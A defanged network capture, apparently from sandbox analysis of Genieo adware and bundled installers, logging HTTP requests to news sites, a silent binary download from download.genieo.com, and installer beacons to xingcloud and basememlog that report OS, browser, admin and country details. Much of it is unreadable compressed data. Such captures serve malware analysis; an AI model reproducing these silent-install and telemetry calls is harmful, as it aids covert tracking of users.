.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /news/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: Apache

X-Cache-Action: HIT

X-Cache-Hits: 327

Vary: Accept-Encoding

Cache-Control: public, max-age=3600

X-Cache-Age: 3117

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:02:59 GMT

Location: /news

X-PAL-Host: pal065.back.live.cwwtf.local:80

Content-Length: 20

Connection: Keep-Alive

........................

GET /news HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Cache-Control: max-age=60, stale-while-revalidate

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

X-News-Data-Centre: cwwtf

Content-Language: en-GB

X-PAL-Host: pal081.back.live.cwwtf.local:80

X-News-Cache-Id: 55371

Content-Length: 30791

Date: Fri, 15 May 2015 23:04:56 GMT

Connection: keep-alive

X-Cache-Action: MISS

X-Cache-Age: 0

X-LB-NoCache: true

Vary: X-CDN,Accept-Encoding
.............v.8.8..=Y......Im}.....8Nwf.uc.....Z..K.).!);n.k..8k.....
{.[U.I.K.e9..x.#...(.PU(....>{.w....l..........5.h....Tc.....sl.3.x
........._:.=......h.C.>......p.>`;[email protected]
...j.wk{...}.gr..m....{....!..G.=..V..7|....i...>.c....."Y.....6.^.
5...-.._.g.aavb.l..|...xmlX..3D..z..O.k(_.....L........p....y.....G@..
..........`......7.c....i..i.u.>.|.........>....5=.A.....5.'h..3
,.A.....>.2..G.m......b.#......./..=.|.B.......K.q.:...`.<..g..{
{..}.......)%L.:......-.2..46.b.h.......^.......Q..#.O...s..}...4>.
..!......2.R..K.!....&.Q....)...:.....Z..........M4o.t.vc.)^..".B.V.q.
..7.....1..>.G.{.....vKlD........;w.4..0.......f.f..l.R.&t[.....d.b
R....;..I..R..Mq....a....;P*.&...^tM....hV.u.......7t..h.f..5C.K..n...
.N......A.a....mQ..Q....*.U ....z.L..... .....`....!j..........m....?.
c.n.C-.W...8?...{o...o*[email protected];..ix#.B...$....;.-.o.K...D2..
..!..Ilzk..... ...%If.f.y.0.7....M.4......d....=....$.L2LE....=..j....
..4*..80z...{.mu.....%c....H......[...zs..j... ....9......^D......j.|.
...7J.ZT.V.....U....kIP.d..<.1]j....a.....f6......W..p..Q.....t.{.4
Ui....f...].....f|....XU.....=....Y...=...l...y........x..@.$...a.....
W..._...O...R..3.e]........)C?.g.. W*.!...1<F|P.....'..t.r%!/..V..3
c..M}.qww....u.?*7^....:j..G.f..,........................:.M|...V.<
..U.S`. .06.....sP.\.&j8..{m.xY......I`........~h.1E.. .........i.....
P....-khv.*.....&.H....U.,...1....T..Q......z..*3,...\.p..i..H...MLX..
....X.u.....u._.m.H.k5...A.qq...n..ZmgV....?...l.p...."=.h.0Y.....<<< skipped >>>

HEAD /news/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: Apache

X-Cache-Action: HIT

X-Cache-Hits: 14

Vary: Accept-Encoding

Cache-Control: public, max-age=3600

X-Cache-Age: 182

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:01:08 GMT

Location: /news

X-PAL-Host: pal074.back.live.cwwtf.local:80

Content-Length: 20

Connection: Keep-Alive

....

HEAD /news HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Cache-Control: max-age=60, stale-while-revalidate

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

X-News-Data-Centre: cwwtf

Content-Language: en-GB

X-PAL-Host: pal076.back.live.cwwtf.local:80

X-News-Cache-Id: 31740

Content-Length: 30791

Date: Fri, 15 May 2015 23:04:57 GMT

Connection: keep-alive

X-Cache-Action: HIT

X-Cache-Hits: 3

X-Cache-Age: 34

X-LB-NoCache: true

Vary: X-CDN,Accept-Encoding

....

GET /news/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: Apache

X-Cache-Action: HIT

X-Cache-Hits: 327

Vary: Accept-Encoding

Cache-Control: public, max-age=3600

X-Cache-Age: 3117

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:02:59 GMT

Location: /news

X-PAL-Host: pal065.back.live.cwwtf.local:80

Content-Length: 20

Connection: Keep-Alive

........................

GET /news HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Cache-Control: max-age=60, stale-while-revalidate

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

X-News-Data-Centre: cwwtf

Content-Language: en-GB

X-PAL-Host: pal076.back.live.cwwtf.local:80

X-News-Cache-Id: 31740

Content-Length: 30791

Date: Fri, 15 May 2015 23:04:58 GMT

Connection: keep-alive

X-Cache-Action: HIT

X-Cache-Hits: 4

X-Cache-Age: 34

X-LB-NoCache: true

Vary: X-CDN,Accept-Encoding
.............v.8.8..=Y......Im}.....8Nwf.uc.....Z..K.).!);n.k..8k.....
{.[U.I.K.e9..x.#...(.PU(....>{.w....l..........5.h....Tc.....sl.3.x
........._:.=......h.C.>......p.>`;[email protected]
...j.wk{...}.gr..m....{....!..G.=..V..7|....i...>.c....."Y.....6.^.
5...-.._.g.aavb.l..|...xmlX..3D..z..O.k(_.....L........p....y.....G@..
..........`......7.c....i..i.u.>.|.........>....5=.A.....5.'h..3
,.A.....>.2..G.m......b.#......./..=.|.B.......K.q.:...`.<..g..{
{..}.......)%L.:......-.2..46.b.h.......^.......Q..#.O...s..}...4>.
..!......2.R..K.!....&.Q....)...:.....Z..........M4o.t.vc.)^..".B.V.q.
..7.....1..>.G.{.....vKlD........;w.4..0.......f.f..l.R.&t[.....d.b
R....;..I..R..Mq....a....;P*.&...^tM....hV.u.......7t..h.f..5C.K..n...
.N......A.a....mQ..Q....*.U ....z.L..... .....`....!j..........m....?.
c.n.C-.W...8?...{o...o*[email protected];..ix#.B...$....;.-.o.K...D2..
..!..Ilzk..... ...%If.f.y.0.7....M.4......d....=....$.L2LE....=..j....
..4*..80z...{.mu.....%c....H......[...zs..j... ....9......^D......j.|.
...7J.ZT.V.....U....kIP.d..<.1]j....a.....f6......W..p..Q.....t.{.4
Ui....f...].....f|....XU.....=....Y...=...l...y........x..@.$...a.....
W..._...O...R..3.e]........)C?.g.. W*.!...1<F|P.....'..t.r%!/..V..3
c..M}.qww....u.?*7^....:j..G.f..,........................:.M|...V.<
..U.S`. .06.....sP.\.&j8..{m.xY......I`........~h.1E.. .........i.....
P....-khv.*.....&.H....U.,...1....T..Q......z..*3,...\.p..i..H...MLX..
....X.u.....u._.m.H.k5...A.qq...n..ZmgV....?...l.p...."=.h.0Y.....<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

X-Cache-Action: HIT

X-Cache-Hits: 37457

Cache-Control: max-age=86400, public

X-Cache-Age: 49517

Content-Type: image/x-icon

Date: Fri, 15 May 2015 23:04:57 GMT

Accept-Ranges: bytes

ETag: "3be-5093aa6381640"

X-PAL-Host: pal057.back.live.cwwtf.local:80

Last-Modified: Tue, 02 Dec 2014 12:13:05 GMT

Content-Length: 958

Connection: Keep-Alive

..................&...  ..............(....... ...........@...........
........................................c...R...c...R...c.............
......................................................................
....(... ...@.........................................................
......................................................................
......................................................................
......................................................................
................................................x.................p...
..........p...............p................................w.....p....
p.....p...............................................................
......................................................................
......................................................................
......................................................................
....................................................

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

X-Cache-Action: HIT

X-Cache-Hits: 13

Cache-Control: max-age=3600, public

X-Cache-Age: 2659

Content-Type: text/plain

Date: Fri, 15 May 2015 23:04:27 GMT

Accept-Ranges: bytes

ETag: "6046-513ea5206b6c0"

X-PAL-Host: pal008.back.live.cwwtf.local:80

Last-Modified: Fri, 17 Apr 2015 12:00:03 GMT

Content-Length: 24646

Connection: Keep-Alive

# Version 3.1.8.User-agent: Googlebot.Disallow: /iplayer/episode/*?fro
m=r*.Disallow: /iplayer/cy/episode/*?from=r*.Disallow: /iplayer/gd/epi
sode/*?from=r*.Sitemap: hXXp://VVV.bbc.co.uk/news_sitemap.xml.Sitemap:
 hXXp://VVV.bbc.co.uk/video_sitemap.xml.Sitemap: hXXp://VVV.bbc.co.uk/
sitemap.xml.Disallow: /_programmes.Disallow: /606/.Disallow: /aboutthe
bbc/insidethebbc/search.Disallow: /academy/chinese-trad/search.Disallo
w: /afrique/search.Disallow: /apps/cbbc.Disallow: /apps/flash.Disallow
: /apps/ide.Disallow: /apps/ids.Disallow: /apps/ifl.Disallow: /apps/if
l-restricted.Disallow: /apps/ifl-static.Disallow: /apps/ifltestsite.Di
sallow: /apps/iflx.Disallow: /apps/nr.Disallow: /apps/query.Disallow: 
/apps/t.Disallow: /arabic/search.Disallow: /arts/yourpaintings/artdete
ctive/.Disallow: /arts/yourpaintings/feedback/sent/.Disallow: /arts/yo
urpaintings/images/guidedtours/.Disallow: /arts/yourpaintings/newslett
er/error/.Disallow: /arts/yourpaintings/newsletter/success/.Disallow: 
/arts/yourpaintings/newsletter/unsubscribe/.Disallow: /arts/yourpainti
ngs/paintings/search.Disallow: /azeri/search.Disallow: /bbctrust/searc
h.Disallow: /bengali/search.Disallow: /burmese/search.Disallow: /cbbc/
find.Disallow: /cbbc/newsroundfind.Disallow: /cbbc/search.Disallow: /c
beebies/search.Disallow: /cbeebies/searchresults.Disallow: /cgi-bin.Di
sallow: /cgi-perl.Disallow: /cgi-perlx.Disallow: /cgi-store.Disallow: 
/corporate2/bbctrust/search.Disallow: /corporate2/insidethebbc/search.
Disallow: /corporate2/mediacentre/proginfo/search.Disallow: /corpo

<<< skipped >>>

GET /news/world-us-canada-32757790 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Cache-Control: max-age=60, stale-while-revalidate

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

X-News-Data-Centre: cwwtf

Content-Language: en-GB

X-PAL-Host: pal079.back.live.cwwtf.local:80

X-News-Cache-Id: 14258

Content-Length: 27346

Date: Fri, 15 May 2015 23:04:58 GMT

Connection: keep-alive

X-Cache-Action: MISS

X-Cache-Age: 0

X-LB-NoCache: true

Vary: X-CDN,Accept-Encoding
.............z.8.0.{.*...%.u.....q..L.......=z(...S$CRv...gocoo.d.....
t..t..xz"....B..P....={sx...Gl........sLw.1.[..S..V..x.{nh_....B......
;.7......hxC.>..7...p.i.....=...d....<...hP.6.O...?L......_.j...
7#..p..=7...{q....W.....NK......O.0.\...=...(.Mg.=.f4b!G.}..^...1....v
...k.KVcO.........L..5....a?....\.#Y. 3.Zd....;.q.X.1....!s4...l.13...
........s.....=...t-f..'.|ho6......k}o.F.TCrb...|....F|.....ad.....=..
........9%...`.w:F.t=.........!.........}.>.h /5....j...eL.....6..v
...E.ZM..q.r.EM1..{..zV..c0....*.......hJ#..6......k.|..p.......b0...8
......."....A......q..2tv.I.]s....X.*..~......s...Cb.y@&.....`.....C..
n.G|..m..V....s.6.T.ll.5.6..f..?lt.m...m.......f..........F.n..,..p2..
......w.vyi..#.h.....zdv..3.g..5........b.%HJ.....e.hc.y...Ccol.:ySc#V
..#..F.......~i8.....G.p..w.......e.E!.hl..`h........\H..)l..:.@./...^
([email protected]&ty..M....mT..H.#U.h.|w..7....}.......`B.....j@..
&u.L.w.O.=0M.*n.'.Ih...........$$..;..C.\g50s......$J..Qkm....k...;...
nS..h...`P1......C...^... ..AB-'O3"Q3..x.M.....k0C.S..B.....<...[.7
..,.2...8...G...zs..j... ....{".......H..O.T.....o<.)..S........r(.
.....K.P.ec.K.C.........B4.l........H.......U.zNJ......j.f..Aa....5.*1
UUz..M.L{....8....P.....go.......w..UjwP.....v..z;R:.Uu..yi.Tc...q7.t.
.A.G.2..=..Y.T.C...cxLd..3........r%.... ...=D..>.yp0.,.c3.....G..X
g`8....J.<.!...7._.^..GSP..fy...A.E....oe#..Fe/.&...}.].pd;V.p.....
h...x....8.]J`.W...p..=...b...Q..,@)..(-..>.......e..F..y..5....DY.
V..[....:7...V"6.c.K..../U0....{-.Yb.U...bF...G4XYv &{..!.v.`.oc..<<< skipped >>>

GET /services/xml/rss/nyt/InternationalHome.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: MF2=19hhj9gxbdklf; RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Content-Length: 9054

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:04:59 GMT

Content-Type: text/xml;charset=UTF-8

Server: FeedsPortal

ETag: 1431726089000

Last-Modified: Fri, 15 May 2015 21:41:29 GMT

Connection: close
...........].r.:....}...j...-...8..e.V....d27. ......AZQj..C..V.T.....
'[email protected]&...nv.......?.......E..Mk.~CX...G.wo.nO..7.>:..,.N.
&}.R.Nb..M.....2xC.......4>h6.)..I.C&.]...M....x.....?....F#y.x.wk.
O....xs]$.fk...io476,....(._.H..Z.;.....n..v.._.......8K.u.(...m......
xU$.I..Y.<N....&..>.....Bl...s. .s.,`!.R...^..,b....#...z.....2.
@.u.`m....u{....i.....mp...^{`..y.H.<p.n.4P7._6.Q........E....5....
.d.pM{y..q.]u.....U......;..|K.0J.D.5G........<...b:...........i..9
.I.........?.....M..........*.4.e....../*...".$|..G.....[...g....g...[
T.tD..hr....0..'4eG..o...%...o.....6.....a...4..q..o._=..0M..m0..9..R.
q[C. L=Jh.sW.=2.jQ6C..&4.S F.'0.O....-{=.F.Ml.F.5...)....h.&<....X$
..dY"[email protected]...."..,......?...,...l,I..r".< mr2.I&
gt;j....".........>.(|?N..............XS6.v.....k..v.A.....O. ..a.[
.v.n.?.....bw.a.....il'.......LQ..EmG..>F..'...S..>...WM.Zh...x.
....K.........&."...B.&.....,...T..XD./.....#..F.....Q.>...y#.CI...
.2)9%\.T...X$. ...."...?...x8"c..>Lh071|..K...;K....p}..o.@$.t.7..&
>.(p..7.........?..>...].2.Iu .R%.Ioowg{.....jf..]{.W....%n....k
.~.....1^ D.a......k......=7.j......xM..|ACl.6..lB7.9j....L......l....
..m. ..w?...Zk.0./.5..1.......l.S...q...L..t......).G..."..b....M..x..
.4bb.HO..f...5{w..o..vc...)x.PP.x...5...z<...hJB.n[;z..{,P/....h.V.
`c.;.1...h...R....nmH...~......M....=. ..=9:i.....ur....s...{W.eg...W.
~9\O..6].G..3`..0........f.y..Z.H.L=(V.l..H.*....#.(....H[.C....k.....
..[../..wp<..[...e..2..(..t/..H....1...}l..d;...L......E._Ocz. <<< skipped >>>

GET /core/release/r16741/framework_setup.gen HTTP/1.1

User-Agent: Genieo

Host: download.genieo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

x-amz-id-2: VBoTPOb1KpklvZioUqb0Sv2YQGNFaV1RDhNcezrVgfZfT5YLe/ZhzV6aGEM1D0ye90BBae4dydc=

x-amz-request-id: 7D753D788F4903B7

Date: Fri, 15 May 2015 23:03:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:49:46 GMT

ETag: "34c98936c21425abe1a3587cfd4c47e5"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 7957904

Server: AmazonS3
bbbbaaaarrrrbbbbaaaarrrr(6.aflyaalya..ya.lyaelya%lyaelyaelyaelyaelyael
yaelyaelyaelya.lyaks.oe.p.D.x-.M-...Y.......Y......L..E...E..A!#*A....
KatkAlyaelyaT..[....................................D...............7.
......elyaelyaelyaelyaelyaelya5)ya)m|a..c*elyaelya.lv`nm.ae0yae.xaehya
Y^yae|yae.yael9ae|yaenyaalyaclyaalyaelyae.{aehyaP..agly.eliae|yaeliae|
yaelyaulyaelyaelya..ya.lyae.{a.`yaelyaelya}0.a.}yaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyae.ya.nyaelyaelyaelyaelyaelyaelyaK.
...lya?6yae|yae0yaehyaelyaelyaelyaEly.K.....ya.}yae.yae~yae.yaelyaelya
elya%ly!K....lya..xae.yaehyae.yaelyaelyaelya%ly.K.....yae.yae,{aelyael
yaelyaelyaelya.ly.K....lya.`yae.{aebyae.yaelyaelyaelya%ly!elyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyael
yaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyael
yaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya
elyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelyaelya0.
...0..ic.J..u'.)m.h.1yu.t.[.y.-h)..|..i..i.y1.%l.#dly23.L.[.y. ..1..q.
p .!e...e.<m.).1..q.p<.!e......a.q=.%l..elyn.* n.:/n.9...G4.j..b
..4q...R...n.*(n..v. 9v.(.z......c.71c.4...n.*)n.)ib......qn..r..).1.!
..p$.!e.<.a.<u5.<.5..m.y-.%l..q... .}X..v.......!.....Q.l-.,y
...<u.9..i.x6.).qely. .qael.t5.9a..!6.y-.%l..q.L9.,y6...$i.<..Lq
ae<....O#e;.t=.9a..u6....q... .)..d.t9.9a:2J.>..qe.5Ea.._'l..6..
yaly72.-cm..c.#..d_.ZP.G#e.;....yaly.!mq.m..c.o>.{..e.e..*...E.<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:02:34 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.94 ms","message":"store 4 action and 5 upd
ate "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,2 HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.70 ms","message":"store 1 action and 0 upd
ate "}..0..

GET /__utm.gif?utmwv=4.7.2&utmn=-78038755&utmt=event&utme=5(engine*engine_started)(1)&utmcs=UTF-8&utmje=1&utmhid=-945909530&utmac=UA-27085171-1&utmcc=__utma=999.1691583942.1431731088.1431731088.1431731088.1;+__utmz=999.1431731088327.1.1.utmcsr=(direct)|utmccn=(direct)%7utmcmd=(none);&gaq=1 HTTP/1.1

User-Agent: Java/1.6.0_18

Host: VVV.google-analytics.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Wed, 13 May 2015 21:45:29 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 177559

Alternate-Protocol: 80:quic,p=1

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Wed, 13 May 2015 21:45:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 177559..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;..

GET /WORLD/index.html?eref=rss_world HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Found

Server: Varnish

Retry-After: 0

Content-Length: 0

Location: hXXp://edition.cnn.com/WORLD/index.html?eref=rss_world

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:02 GMT

Via: 1.1 varnish

Connection: close

X-Served-By: cache-fra1222-FRA

X-Cache: MISS

X-Cache-Hits: 0

GET /installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_42&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1431730972&procruntime=2&rnd=1431730974 HTTP/1.1

Host: stats.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: ngTGrUTUadFW/rVBjckhHh 2NLIA6UWnxK3F WIZJ VZplYGBZo4qn2mPsDWB0UI

x-amz-request-id: 9B63DF8196633B82

Date: Fri, 15 May 2015 23:02:56 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:01:52 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: ngTGrU
TUadFW/rVBjckhHh 2NLIA6UWnxK3F WIZJ VZplYGBZo4qn2mPsDWB0UI..x-amz-requ
est-id: 9B63DF8196633B82..Date: Fri, 15 May 2015 23:02:56 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Sun, 10 May 2015 14:01:52 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_42&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=16&rnd=1431730988 HTTP/1.1

Host: stats.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: wuqdqj7mHp3u8p1t15GB5bGExnJHqn1w5lHnertTXMzv StiCo5SirzN0WAQCVsl

x-amz-request-id: 31817D80AD4F2D26

Date: Fri, 15 May 2015 23:03:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Sun, 10 May 2015 14:01:52 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1431730972&lifetime=0&silent=1&crtnm=na&procstarttime=1431730972&procruntime=16&rnd=1431730988 HTTP/1.1

Host: stats.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: qCum7aVaAbabGl28zbcyRBfWLvDKcDC1qff8kWzX0KIHjbpHiK1MCHpja6kvKmGY

x-amz-request-id: 21868439C14793F7

Date: Fri, 15 May 2015 23:03:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

